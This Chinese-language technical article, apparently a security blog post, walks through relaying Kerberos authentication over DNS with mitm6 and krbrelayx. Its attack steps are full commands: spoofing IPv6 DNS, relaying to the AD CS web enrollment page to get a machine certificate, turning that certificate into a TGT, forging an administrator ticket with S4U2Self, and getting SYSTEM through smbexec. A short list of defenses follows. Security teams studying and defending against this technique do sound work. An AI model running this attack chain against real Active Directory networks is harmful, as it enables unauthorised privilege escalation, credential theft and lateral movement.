使用 MITM6 通过 DNS 中继 Kerberos 身份验证
字数 1140 2025-08-29 08:32:30

使用 MITM6 通过 DNS 中继 Kerberos 身份验证技术详解

背景与原理

Kerberos 中继攻击的可行性

传统观点认为 Kerberos 协议由于服务主体名称(SPN)绑定机制难以被中继,但 James Forshaw 的研究证明通过控制 SPN 可以实现 Kerberos 中继攻击。关键发现包括:

  1. SPN 映射机制:许多服务类(如 DNS)会隐式映射到 HOST 类,而 HOST SPN 默认在所有计算机账户上设置
  2. 服务保护缺失:HTTP 等服务通常不支持签名保护,允许中继身份验证
  3. 通道绑定限制:Windows Kerberos AP_REQ 令牌默认支持通道绑定,但可通过注册表禁用

DNS 动态更新与 Kerberos 认证

Active Directory 中 DNS 动态更新过程使用 Kerberos 认证:

  1. 客户端查询 SOA 记录确定权威 DNS 服务器
  2. 尝试非安全更新被拒绝后,启动 TKEY 协商
  3. 使用 Kerberos 建立安全上下文(AP_REQ/AP_REP 交换)
  4. 使用 TSIG 密钥签名后续更新请求

攻击技术实现

所需工具

  1. mitm6:IPv6 DHCP 欺骗工具,可接管客户端 DNS
  2. krbrelayx:Kerberos 中继工具,支持中继到 HTTP/LDAP

攻击步骤详解

1. 设置中继目标

python3 krbrelayx.py --target http://adcs.pentest.com/certsrv/ -ip [攻击者IP] --victim [目标主机名] --adcs --template Machine

参数说明:

  • --target:AD CS Web 注册接口URL
  • -ip:绑定DNS服务器的攻击者IP
  • --victim:目标主机名
  • --adcs:指定AD CS目标
  • --template:证书模板(Machine)

2. 启动 mitm6 欺骗

mitm6 --domain [域名] --host-allowlist [目标主机名] --relay [AD CS主机名] -i [网卡] -v

3. 获取机器账户证书

成功中继后,krbrelayx 将获取目标机器账户的证书(Base64格式)

4. 使用证书获取TGT

python3 gettgtpkinit.py [域名]/[机器账户名]$ [输出缓存文件] -pfx-base64 $(cat [证书文件])

5. 通过S4U2Self获取高权限票据

python3 gets4uticket.py kerberos+ccache://[域名]\\[机器账户名]$:[TGT缓存文件]@[DC主机名] cifs/[目标主机名]@[域名] [管理员账户]@[域名] [输出缓存文件] -v

6. 使用票据获取系统权限

export KRB5CCNAME=[管理员票据缓存文件]
python3 smbexec.py -k [域名]/[管理员账户]@[目标主机名] -no-pass

防御措施

  1. 启用SMB签名:强制所有SMB通信使用签名
  2. 限制证书模板权限:严格控制Machine模板的注册权限
  3. 禁用IPv6:在不必要环境中禁用IPv6协议
  4. 实施EPA保护:为敏感服务启用扩展保护认证
  5. 监控异常DNS更新:检测异常的DNS动态更新行为

技术要点总结

  1. SPN控制:通过DNS服务映射到HOST类SPN实现中继
  2. 协议弱点:利用HTTP服务缺乏签名保护的特性
  3. AD CS滥用:通过证书注册获取机器账户凭据
  4. 权限提升:结合S4U2Self协议获取管理员权限
  5. 横向移动:最终获取目标系统SYSTEM权限

此技术展示了即使在禁用NTLM的环境中,Kerberos协议仍可能被滥用于权限提升和横向移动,强调了全面防御策略的重要性。

使用 MITM6 通过 DNS 中继 Kerberos 身份验证技术详解 背景与原理 Kerberos 中继攻击的可行性 传统观点认为 Kerberos 协议由于服务主体名称(SPN)绑定机制难以被中继,但 James Forshaw 的研究证明通过控制 SPN 可以实现 Kerberos 中继攻击。关键发现包括: SPN 映射机制 :许多服务类(如 DNS)会隐式映射到 HOST 类,而 HOST SPN 默认在所有计算机账户上设置 服务保护缺失 :HTTP 等服务通常不支持签名保护,允许中继身份验证 通道绑定限制 :Windows Kerberos AP_ REQ 令牌默认支持通道绑定,但可通过注册表禁用 DNS 动态更新与 Kerberos 认证 Active Directory 中 DNS 动态更新过程使用 Kerberos 认证: 客户端查询 SOA 记录确定权威 DNS 服务器 尝试非安全更新被拒绝后,启动 TKEY 协商 使用 Kerberos 建立安全上下文(AP_ REQ/AP_ REP 交换) 使用 TSIG 密钥签名后续更新请求 攻击技术实现 所需工具 mitm6 :IPv6 DHCP 欺骗工具,可接管客户端 DNS krbrelayx :Kerberos 中继工具,支持中继到 HTTP/LDAP 攻击步骤详解 1. 设置中继目标 参数说明: --target :AD CS Web 注册接口URL -ip :绑定DNS服务器的攻击者IP --victim :目标主机名 --adcs :指定AD CS目标 --template :证书模板(Machine) 2. 启动 mitm6 欺骗 3. 获取机器账户证书 成功中继后,krbrelayx 将获取目标机器账户的证书(Base64格式) 4. 使用证书获取TGT 5. 通过S4U2Self获取高权限票据 6. 使用票据获取系统权限 防御措施 启用SMB签名 :强制所有SMB通信使用签名 限制证书模板权限 :严格控制Machine模板的注册权限 禁用IPv6 :在不必要环境中禁用IPv6协议 实施EPA保护 :为敏感服务启用扩展保护认证 监控异常DNS更新 :检测异常的DNS动态更新行为 技术要点总结 SPN控制 :通过DNS服务映射到HOST类SPN实现中继 协议弱点 :利用HTTP服务缺乏签名保护的特性 AD CS滥用 :通过证书注册获取机器账户凭据 权限提升 :结合S4U2Self协议获取管理员权限 横向移动 :最终获取目标系统SYSTEM权限 此技术展示了即使在禁用NTLM的环境中,Kerberos协议仍可能被滥用于权限提升和横向移动,强调了全面防御策略的重要性。